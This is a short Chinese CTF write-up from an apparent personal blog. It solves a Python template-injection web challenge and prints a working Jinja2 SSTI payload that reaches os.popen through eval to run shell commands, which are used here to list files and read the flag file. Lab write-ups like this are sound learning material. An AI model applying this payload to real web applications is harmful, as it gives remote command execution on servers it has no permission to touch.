攻防世界writeup-进阶区

本文最后更新于:1 年前

Web.

1.Web_python_template_injection

  • 模板注入
  • http://111.200.241.244:53155/{{2*2}}回显如下:

URL http://111.200.241.244:53155/4 not found

  • 手注payload
1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('命令').read()")}}{% endif %}{% endfor %}
  • 依次执行dircat fl4g ,得到flag

URL http://111.200.241.244:53155/fl4g index.py not found

URL http://111.200.241.244:53155/ctf{f22b6844-5169-4054-b2a0-d95b9361cb57} not found


2.


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!